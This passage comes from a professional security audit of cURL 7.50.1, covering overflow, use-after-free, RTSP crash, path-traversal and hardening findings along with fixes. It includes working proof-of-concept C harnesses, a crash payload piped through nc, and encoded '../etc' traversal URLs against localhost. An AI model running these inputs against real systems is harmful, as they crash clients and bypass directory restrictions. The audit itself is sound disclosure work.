        ptr++) {
      if((ch <= 32) || (ch == 127) ||
          (ch == '\'') || (ch == '\"') || (ch == '\\')) {
        dictp[olen++] = '\\';
      }
      dictp[olen++] = ch;
    }
    dictp[olen]=0;
  }
  free(newp);
  return dictp;
}
```

It is evident that *len* is smaller than pow(2,31), yet the output can expand to up to twice that much, meaning that *olen* can be incremented when its value is *INT_MAX*. In turn, this leads to signed integer overflow, usually meaning that the number becomes negative. Because *olen* is used as an array index, this then causes a crash originating from the use of a negative array index that leads into unallocated memory.

To verify the described patterns, run the following test on a 64-bit machine with at least 6GB of free RAM. This test fetches a *dict://* URL that is slightly over 1GiB-long.

```
#include <curl/curl.h>
#include <stdint.h>
#include <string.h>
#include <err.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
  char *dicturl = malloc(23 + (1ULL<<30) + 5 + 1);
  if (!dicturl)
    errx(1, "malloc");
  strcpy(dicturl, "dict://localhost/MATCH:");
  memset(dicturl + 23, '\"', (1ULL<<30) + 5);
  dicturl[23 + (1ULL<<30) + 5] = '\0';

  CURL *hnd = curl_easy_init();
  curl_easy_setopt(hnd, CURLOPT_URL, dicturl);
  free(dicturl);
  curl_easy_setopt(hnd, CURLOPT_NOPROGRESS, 1L);
  CURLcode ret = curl_easy_perform(hnd);
  curl_easy_cleanup(hnd);
  return (int)ret;
}
```

The following crash resulted from testing:

```
$ gdb ./negative_dict_url
[...]
(gdb) run
Starting program: [...]
[...]
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7b6975b in unescape_word (data=0x63a0b0, inputbuff=0x7fffb0fca017
'\"' <repeats 200 times>...) at dict.c:116
116           dictp[olen++] = '\\';
(gdb) x/1i $pc
=> 0x7ffff7b6975b <unescape_word+170>:  mov    BYTE PTR [rax],0x5c
(gdb) print/x $rax
$1 = 0x7ffdf0dba010
(gdb)  print/x dictp
$2 = 0x7ffe70dba010
```

```
(gdb) print olen
$3 = -2147483647
```

It is recommended to avoid using types smaller than *size_t* for array indexing.

CRL-01-021 UAF via insufficient locking for shared cookies *(High)*

At present *libcurl* explicitly allows users to share the cookies between multiple easy handles that are concurrently employed by different threads. When *libcurl* needs to access the shared cookie state, it uses *Curl_share_lock()* for exclusive access.

When cookies to be sent to the server are collected, this is done with *Curl_cookie_getlist()* function and the lock is released immediately afterwards. *Curl_cookie_getlist()* returns a list of copies of the original *Cookie* structures, however, these copies are shallow and still reference the original strings for name, value, path and so on. Therefore, if another thread quickly takes the lock and frees one of the original *Cookie* structures together with its strings, a use-after-free can occur and lead to information disclosure. One reason why another thread can free a cookie is that the cookie is overwritten by a new cookie from an HTTP response.

To test for this issue, the following test program can be used. It turns on cookie state sharing and then endlessly requests *http://localhost/cgi-bin/hi.sh* from two threads.

```
#include <pthread.h>
#include <curl/curl.h>
#include <unistd.h>
#include <err.h>

CURLSH *shared;

size_t dummy_write_cb(char *p, size_t s, size_t n, void *d) {
  return s * n;
}

void *one_thread(void *x) {
  while (1) {
    CURL *hnd = curl_easy_init();
    if (!hnd)
      errx(1, "curl_easy_init");
    curl_easy_setopt(hnd, CURLOPT_SHARE, shared);
    curl_easy_setopt(hnd, CURLOPT_URL, "http://localhost/cgi-bin/hi.sh");
    curl_easy_setopt(hnd, CURLOPT_NOPROGRESS, 1L);
    curl_easy_setopt(hnd, CURLOPT_TCP_KEEPALIVE, 1L);
    curl_easy_setopt(hnd, CURLOPT_WRITEFUNCTION, dummy_write_cb);
    curl_easy_perform(hnd);
    curl_easy_cleanup(hnd);
  }
  return NULL;
}

pthread_mutex_t curllock = PTHREAD_MUTEX_INITIALIZER;
void do_lock(CURL *h, curl_lock_data d, curl_lock_access a, void *p) {
  pthread_mutex_lock(&curllock);
}
void do_unlock(CURL *h, curl_lock_data d, void *p) {
  pthread_mutex_unlock(&curllock);
}

int main(int argc, char *argv[])
{
  if (curl_global_init(CURL_GLOBAL_ALL))
    errx(1, "curl global init");

  shared = curl_share_init();
  curl_share_setopt(shared, CURLSHOPT_LOCKFUNC, do_lock);
  curl_share_setopt(shared, CURLSHOPT_UNLOCKFUNC, do_unlock);
  curl_share_setopt(shared, CURLSHOPT_SHARE, CURL_LOCK_DATA_COOKIE);

  pthread_t tid;
  if (pthread_create(&tid, NULL, one_thread, NULL))
    errx(1, "pthread_create");

  one_thread(NULL);

  return 0;
}
```

Proceeding with the observations, launch a local HTTP server that executes the following CGI script when the URL referenced in the source code is accessed:

```
#!/bin/sh
echo "Status: 200\r"
echo "Set-Cookie: foo=bar; path=/\r"
echo "\r"
echo "hi"
```

When the test program is now executed, both threads will repeatedly send and replace the "foo" cookie. To observe the use-after-free, e.g. ASAN can be turned on by using *-fsanitize=address* during the compilation, causing the following error to be printed after a short while:

```
==21932==ERROR: AddressSanitizer: heap-use-after-free on address 0xf4a2fb94 at
pc 0xf718137e bp 0xf31fdf98 sp 0xf31fdb70
```

```
READ of size 4 at 0xf4a2fb94 thread T1
    #0 0xf718137d  (/usr/lib/i386-linux-gnu/libasan.so.3+0x3237d)
    #1 0xf70d23db in dprintf_formatf /root/curl-7.50.1-nss/lib/mprintf.c:828
    #2 0xf70d2cab in curl_mvaprintf /root/curl-7.50.1-nss/lib/mprintf.c:1088
    #3 0xf70b6bc0 in Curl_add_bufferf /root/curl-7.50.1-nss/lib/http.c:1204
    #4 0xf70b9212 in Curl_http /root/curl-7.50.1-nss/lib/http.c:2386
[...]

0xf4a2fb94 is located 4 bytes inside of 16-byte region [0xf4a2fb90,0xf4a2fba0)
freed by thread T0 here:
    #0 0xf720ce7c in free (/usr/lib/i386-linux-gnu/libasan.so.3+0xbde7c)
    #1 0xf70dea98 in curl_dofree /root/curl-7.50.1-nss/lib/memdebug.c:333
    #2 0xf70b40ba in Curl_cookie_add /root/curl-7.50.1-nss/lib/cookie.c:859
    #3 0xf70bb98b in Curl_http_readwrite_headers /root/curl-7.50.1-
nss/lib/http.c:3671
    #4 0xf70d7335 in readwrite_data /root/curl-7.50.1-nss/lib/transfer.c:488
[...]

previously allocated by thread T1 here:
    #0 0xf720d1b4 in malloc (/usr/lib/i386-linux-gnu/libasan.so.3+0xbe1b4)
    #1 0xf70de745 in curl_domalloc /root/curl-7.50.1-nss/lib/memdebug.c:178
    #2 0xf70de92e in curl_dostrdup /root/curl-7.50.1-nss/lib/memdebug.c:233
    #3 0xf70b34f0 in Curl_cookie_add /root/curl-7.50.1-nss/lib/cookie.c:461
    #4 0xf70bb98b in Curl_http_readwrite_headers /root/curl-7.50.1-
nss/lib/http.c:3671
    #5 0xf70d7335 in readwrite_data /root/curl-7.50.1-nss/lib/transfer.c:488
[...]
```

The test program can be modified to run without ASAN and instructed to produce more threads, some of which perform other allocations. Further, the CGI binary might be modified to log strange cookie headers and send the somewhat longer header "`Set-Cookie: foo=foooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooobar; path=/`",

As the result, the values like the following ones can be observed:

```
fooooooooooooooooooooooooooooooooooooooooooooooooooo1
a
@
@
@
@
@
@
foooooooooooooooooooooooooooooooooooooooooooo1
¨
```

```
@
@
°f÷ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooob
ar
@
°f÷ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooob
ar
°f÷oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo!
```

It is recommended to implement reference counting for cookies so that the lock can be released without allowing an in-use cookie with its backing data to be freed.

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

CRL-01-003 Ambiguity in curl_easy_escape() argument (*Low*)

In the current build *curl_easy_escape()* (and a deprecated variant *curl_escape()*) accept both a buffer and a length as arguments. As a convenience feature, if the length is 0, it is assumed that the buffer contains text and *strlen()* is called on the buffer instead.

However, this means that a caller intending to supply a binary buffer and failing to explicitly check whether the buffer has a size equaling zero might in fact cause an out-of-bounds read. If this happens, it is also likely to translate into disclosure of the read data to an HTTP server. A cursory inspection of some code that uses *curl_easy_escape()* with a length argument shows that most cURL users fail to explicitly check for length zero. However, because the buffer normally contains a C string anyway, this shortcoming does not have much impact in practice.

Although *curl_easy_escape()* can be used safely, it is recommended to deprecate *curl_easy_escape()* and either create two new functions for binary and text data or, alternatively, introduce a new function that takes advantage of the maximum *size_t* value instead of 0 as the special "use *strlen()*" argument.

CRL-01-004 Metalink provides an oracle (*Info*)

It can be inferred from the scope that Metalink was not a major focus of the audit because of its very limited use in practice. At the same time, a coarse look suggests that it provides an oracle for an attacker able to provide malicious Metalink files, as s/he becomes capable of determining whether the data stored at an attacker-chosen URL has a specific hash.

CRL-01-006 Potentially unsafe size_t multiplications (*Medium*)

The following *size_t* multiplications do not seem to have proper length checks. They should be unreachable, e.g. because they are in *ASN.1* parser code and it is unlikely that any TLS library will permit such large certificates (e.g. OpenSSL caps at 100KB):

- *Curl_auth_create_plain_message*: `malloc(2 * ulen + plen + 2)`
- *octet2str*: `malloc(3 * n + 1)`
- *utf8asn1str*: `malloc(4 * (inlength / size) + 1)`

For all of these instances it is recommended for the explicit overflow checks to be added. As for the *ASN.1* parser code, it is recommended to add an additional safety check that prevents oversized certificates from reaching *libcurl*.

CRL-01-008 %n is supported in format strings (*Low*)

The custom format string interpretation code in *mprintf.c* attempts to provide standard-compliant syntax, including support for the *%n* format string element.

A programming mistake that is sometimes made in C code is that user-input is passed to a function that expects a format string. What is called a format string vulnerability is introduced. Such an issue inevitably grants the user the ability to leak information into the formatted string, e.g. using *%d* format string elements. However, in a standard *printf* implementation the only element that can be used to overwrite data and potentially gain the ability to execute arbitrary code is *%n*.

Since nothing in cURL seems to utilize the *%n* format string element, it is recommended to remove the support for *%n* from *mprintf.c* in order to mitigate potential format string vulnerabilities. It is also recommended to insert appropriate checks against *MAX_PARAMETERS* in *mprintf.c* to prevent a string with too many format string elements from causing memory safety violations in the *printf* implementation.

CRL-01-010 Slashes and .. are decoded in file URIs (*Low*)

URL-encoded slashes and ".." in file URIs are decoded prior to being passed to the operating system:

```
# strace curl-7.50.1/src/curl \
> file:///var/www/%2e%2e%2f%2e%2e%2fetc%2fhostname 2>&1 | grep open.*www
open("/var/www/../../etc/hostname", O_RDONLY|O_LARGEFILE) = 4
```

The same also applies to *scp://* and *sftp://*:

```
# curl-7.50.1/src/curl sftp://user@server/var/www/%2e%2e%2f%2e%2e%2fetc
%2fhostname
server
```

Theoretically, if a cURL user decides to permit access to one of these protocols, but intends to restrict access to a specific directory by checking for a string prefix match and searching for "/../" sequences or so, the restriction could potentially be bypassed. It is recommended to consider whether it makes sense to forbid unescaping of *%2f*. Analogic treatment should be deployed for *%2e* if it appears between slashes together with another (possibly escaped) dot.

CRL-01-012 Only the md5 of the SSH host key fingerprint is checked

When connecting to a SSH server using the *scp://* protocol, the integrity of the host key is checked using the function *ssh_check_fingerprint()*. Here the *md5* fingerprint of the remote public key is compared with the *md5sum* provided via the *--hostpubmd5* parameter. Although the second preimage resistance of *md5* is still unbroken, it is still considered insecure due to a possibility of collision attacks.

It is recommended to add support for the more reliable hashing function *sha256* in order to verify the fingerprint in a more secure way.

CRL-01-015 Default Compile-time options lack support for PIE and RELRO (*Low*)

Using tools like *checksec*[2] or *PEDA*'s[3] built-in functionality to check for basic hardening support reveals that the default compiler options omit *PIE*[4] and full *RELRO*[5] when building cURL from source:

```
curl-7.50.1$ gdb ./src/.libs/curl
```

[2] http://www.trapkit.de/tools/checksec.html
[3] https://github.com/longld/peda
[4] https://gcc.gnu.org/onlinedocs/gcc/Code-Gen-Options.html
[5] http://tk-blog.blogspot.de/2009/02/relro-not-so-well-known-memory.html

```
Reading symbols from ./src/.libs/curl...(no debugging symbols found)...done.
(gdb) checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
```

On the one hand, especially when having programs that execute cURL via the command line, PIE renders the exploitation of memory corruption vulnerabilities a lot more difficult. This can be attributed to the additional information leaks being required to conduct a successful attack. RELRO, on the other hand, masks different binary sections like the GOT as read-only and thus kills a handful of techniques that come in handy when attackers are able to arbitrarily overwrite memory. A few tests showed that enabling these features had close to no impact, neither on the performance nor on the general functionality of cURL. This is why it is recommended to add the necessary compiler flags to the generated *Makefile*:

```
curl-7.50.1$ make CFLAGS='-Wl,-z,relro,-z,now -pie -fPIE'
[...]
curl-7.50.1$ gdb ./src/.libs/curl
Reading symbols from ./src/.libs/curl...(no debugging symbols found)...done.
(gdb) checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL
```

CRL-01-016 Unchecked snprintf() calls *(Low)*

Throughout the codebase there are many calls to *snprintf()* that fail to check the return value in cases where the formatted string might not fit into the target buffer. While *snprintf()* prevents such cases from overwriting adjacent memory, the process is not fully safe because the output is truncated. The impact of this minor flaw is limited in most cases, as it, e.g., leads to ridiculously long passwords being truncated prior to transmission. In other cases, however, the same behavior might not be guaranteed and marked as safe. Consider the following case, which is caused by *AddFormDataf()* not checking the return value of *vsnprintf()*:

`./curl --form 'a=b' -H "Content-Type: $(perl -e 'print "A"x10')" http://localhost:8080/` sends:

```
POST / HTTP/1.1
Host: localhost:8080
```

```
User-Agent: curl/7.50.1
Accept: */*
Content-Length: 137
Expect: 100-continue
Content-Type: AAAAAAAAAA; boundary=------------------------9e7f8e0c074cb613

--------------------------9e7f8e0c074cb613
Content-Disposition: form-data; name="a"

b
--------------------------9e7f8e0c074cb613--
```

`./curl --form 'a=b' -H "Content-Type: $(perl -e 'print "A"x4100')" http://localhost:8080/` sends:

```
POST / HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.50.1
Accept: */*
Content-Length: 137
Expect: 100-continue
Content-Type: AAAAAA[...]AAA
--------------------------f0a28a0b0e9dba64
Content-Disposition: form-data; name="a"

b
--------------------------f0a28a0b0e9dba64--
```

It can be seen that the silent string truncation removes the boundary marker and the trailing CRLF from the Content-Type header, possibly desynchronizing the state of the HTTP connection. It is recommended to consider splitting the functions of *snprintf()* into two types:

- Assertion-type usage: Some *snprintf()* users employ *snprintf()* instead of *sprintf()* just in case something goes wrong, even if in theory this should never reach the length limit anyway. Those users should be changed to follow a function that *abort()*s on overflow because overflow indicates some internal error.
- Usage for the destination buffer being legitimately potentially too small: In these cases the code should raise an error.

CRL-01-017 Permit disabling (insecure) fallbacks *(Low)*

There are various instances throughout the code that reflect the possibility for cURL to fall back on alternative mechanisms in an event of unusual circumstances. Albeit cURL continues to function in these scenarios, some dependencies are not operating correctly and usually imply some security implications. Some of the specific instances are described below.

In *openssl.c*, *ossl_seed()* can fall back to the following code, which tricks OpenSSL into believing that sufficient entropy is available for the *CSPRNG*:

```
  do {
    unsigned char randb[64];
    int len = sizeof(randb);
    RAND_bytes(randb, len);
    RAND_add(randb, len, (len >> 1));
  } while(!RAND_status());
```

Curl_rand() has the following fallback code, which turns *Curl_rand()* into a 32-bit LCG that discloses its full state in each generated value and is seeded either from a *CSPRNG* or from the current time:

```
  /* If Curl_ssl_random() returns non-zero it couldn't offer randomness and we
     instead perform a "best effort" */

#ifdef RANDOM_FILE
  if(!seeded) {
    /* if there's a random file to read a seed from, use it */
    int fd = open(RANDOM_FILE, O_RDONLY);
    if(fd > -1) {
      /* read random data into the randseed variable */
      ssize_t nread = read(fd, &randseed, sizeof(randseed));
      if(nread == sizeof(randseed))
        seeded = TRUE;
      close(fd);
    }
  }
#endif

  if(!seeded) {
    struct timeval now = curlx_tvnow();
    infof(data, "WARNING: Using weak random seed\n");
    randseed += (unsigned int)now.tv_usec + (unsigned int)now.tv_sec;
    randseed = randseed * 1103515245 + 12345;
    randseed = randseed * 1103515245 + 12345;
    randseed = randseed * 1103515245 + 12345;
    seeded = TRUE;
  }

  /* Return an unsigned 32-bit pseudo-random number. */
  r = randseed = randseed * 1103515245 + 12345;
  return (r << 16) | ((r >> 16) & 0xFFFF);
```

It might make sense to gate insecure fallbacks like these behind a flag that can be set by the calling a user or an application in a given case.

CRL-01-018 Null pointer dereference in the RTSP protocol *(Low)*

A vulnerability was found to allow a malicious RTSP server to trigger a null pointer dereference in cURL by replying with a malicious packet. This leads to access to an uninitialized pointer. An attacker could use this vulnerability to cause a Denial of Service on the client's side.

PoC file:
```
"$a$$" . "a"x9246
```

Listen:
```
cat poc | nc -lvp 8080
```

Connect:
```
curl rtsp://localhost:8080
segmentation fault (core dumped)
```

File:
curl-7.50.1/lib/rtsp.c

Affected Code:
```
static CURLcode rtp_client_write(struct connectdata *conn, char *ptr, size_t
len)
{
  struct Curl_easy *data = conn->data;
  size_t wrote;
  curl_write_callback writeit;
[...]
  writeit = data->set.fwrite_rtp?data->set.fwrite_rtp:data->set.fwrite_func;
  wrote = writeit(ptr, 1, len, data->set.rtp_out);
```

The invocation of the function pointer *writeit()* then lands in the following code:

File:
curl-7.50.1/src/tool_cb_wrt.c

Affected Code:
```
size_t tool_write_cb(void *buffer, size_t sz, size_t nmemb, void *userdata)
{
  size_t rc;
  struct OutStruct *outs = userdata;
  struct OperationConfig *config = outs->config;
```

It is recommended to check the *data->set.rtp_out* pointer before passing it to *writeit()*. The severity of this vulnerability is low because no route for exploiting this issue further (i.e. doing something more impactful than DoS) was found during testing.

CRL-01-019 nss_init_sslver uses version info from NSS header *(Info)*

During *nss_setup_connect()*, the function *nss_init_sslver()* is used to determine the SSL/TLS versions that should be used. The resulting range is then passed to NSS using *SSL_VersionRangeSet()*.

A potential issue with this behavior is that *nss_init_sslver()* relies on header information to determine which versions of SSL/TLS the installed NSS library supports. Therefore, if *libcurl* is compiled by a distribution's maintainer on a system with an older version of NSS, it will still unnecessarily fall back to the older SSL/TLS versions. This could happen, for example, if cURL quickly releases a new version after NSS adds support for a new protocol version and the distribution's *libcurl* is then updated first.

It is recommended to use *SSL_VersionRangeSetDefault()* if the requested version is *CURL_SSLVERSION_DEFAULT* to somewhat mitigate this issue.

CRL-01-020 dup_nickname() doesn't check for memory allocation failure *(Low)*

Normally there are two resolutions to the case of memory allocation failing:

- A NULL pointer is returned, no check is performed, the NULL pointer is dereferenced and the program crashes (this is not a security issue).
- An explicit error check is performed.

However, a third failure mode occurs when a function can legitimately return NULL for non-error reasons and have the effect of the program continuing to run yet exhibiting strange behavior.

If the supplied string looks like a file path, *dup_nickname()* normally returns NULL. Conversely, if the supplied string looks like a nickname, it results in a pointer to an allocated string. However, if *strdup()* fails, it will return NULL even though the string looks like a nickname rather than a filename.

If *libcurl* is used in e.g. a *setuid* binary, this might theoretically be usable for a local attacker who wants to control the client's certificate used by *libcurl* to further their agenda. It is recommended to check for memory allocation failures in *dup_nickname()*. Additionally, it might make sense to separately return the results of the "*file or nickname*" decision and the actual result pointer.

CRL-01-022 polarssl_connect_step1() lacks matching unlock *(Info)*

In a single particular case *polarssl_connect_step1()* does not unlock, leaving the lock procured and causing a potential deadlock in the additional locking call in *polarssl_connect_step3()*.

File:
curl-7.50.1/lib/vtls/polarssl.c

Affected Code:
```
/* Check if there's a cached ID we can/should use here! */
if(conn->ssl_config.sessionid) {
  void *old_session = NULL;

  Curl_ssl_sessionid_lock(conn);
  if(!Curl_ssl_getsessionid(conn, &old_session, NULL)) {
    ret = ssl_set_session(&connssl->ssl, old_session);
    Curl_ssl_sessionid_unlock(conn);
    if(ret) {
      failf(data, "ssl_set_session returned -0x%x", -ret);
      return CURLE_SSL_CONNECT_ERROR;
    }
    infof(data, "PolarSSL re-using session\n");
  }
  // missing Curl_ssl_sessionid_unlock(conn);
}
```

As indicated above, it is recommended to add the matching *curl_ssl_sessionid_unlock()* to the respective execution path.

CRL-01-023 ssl_thread_setup() leaves mutex buffer partially uninitialised *(Info)*

There is a discrepancy between *curl_polarsslthreadlock_thread_setup()* leaving the mutex buffer partially uninitialized and *Curl_polarsslthreadlock_thread_cleanup()* relying on the buffer being completely initialized while iterating over its contents. As the calling application normally bails out completely after the resulting error is returned, this should not lead to a crash in general.

File:
curl-7.50.1/lib/vtls/polarssl_threadlock.c

Affected Code:

```
// in Curl_polarsslthreadlock_thread_setup()
#ifdef HAVE_PTHREAD_H
  for(i = 0;  i < NUMT;  i++) {
    ret = pthread_mutex_init(&mutex_buf[i], NULL);
    if(ret)
      return 0; /* pthread_mutex_init failed */
  }
#elif defined(HAVE_PROCESS_H)
  for(i = 0;  i < NUMT;  i++) {
    mutex_buf[i] = CreateMutex(0, FALSE, 0);
    if(mutex_buf[i] == 0)
      return 0;  /* CreateMutex failed */
  }
#endif /* HAVE_PTHREAD_H */

// conversely in Curl_polarsslthreadlock_thread_cleanup()
#ifdef HAVE_PTHREAD_H
  for(i = 0; i < NUMT; i++) {
    ret = pthread_mutex_destroy(&mutex_buf[i]);
    if(ret)
      return 0; /* pthread_mutex_destroy failed */
  }
#elif defined(HAVE_PROCESS_H)
  for(i = 0; i < NUMT; i++) {
    ret = CloseHandle(mutex_buf[i]);
    if(!ret)
      return 0; /* CloseHandle failed */
  }
#endif /* HAVE_PTHREAD_H */
```

It is recommended to clear the mutex array before trying to initialize the individual fields with the created mutexes.

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

Conclusion

The Mozilla's Secure Open Source track program has made it possible for the Cure53 team to conduct this assessment of cURL over the course of twenty days in 2016. Five testers of the Cure53 identified twenty-three security findings and concluded that cURL appears strong and robust for a software tool of this complexity and goals. The fact that no discoveries posing "Critical" risks were made points to a positive result, yet the four findings denoted as "High" should not be discarded and need to be addressed as soon as possible. The fact of the matter is that, with the right features coming together for a determined attacker, the software may suffer severe consequences of the Remote Code Execution problems as a result of these issues.

During the source code audit, the testing team made several observations that could perhaps be reviewed and used for improving the general state of security at cURL even further. One noticeable feature was that different coding styles were used across the tool. Change in the programming approaches was observable, possibly indicating that not quite enough code refactoring has been undertaken over time. Another realm pertains to a definite overuse of hardcoded local length and index values, which in fact should be more centrally coordinated and boast checkable definitions. Moving to a rarer, yet still noticeable occurrence of unbounded functions being used on stack buffers, a clear best practice would be to rely on the preferred usage of the respective bounded functions in this regard. The testing team has rarely seen assertions or similar checks of the procedure call inputs. Conversely, unchecked array access indices were found on a regular basis. The broad technical details and code patterns outlined above translate to technical recommendation that the software maintainers should discuss and ideally implement. Namely, it is advised to begin a refactoring that promotes uniformity in the existing code and gets it to a state of following the same architectural patterns consistently.

In sum, while the cURL software could still benefit from minor improvements, the Cure53 team confirms that no critically severe issues found in the analyzed code testifies to a great technical robustness of the tool at hand.

Cure53 would like to thank Gervase Markham and Chris Riley of Mozilla for their excellent project coordination, support and assistance, both before and during this assignment. Cure53 would further like to extend gratitude to Daniel Stenberg, the maintainer of the cURL project, for his help during the scoping phase of this assessment.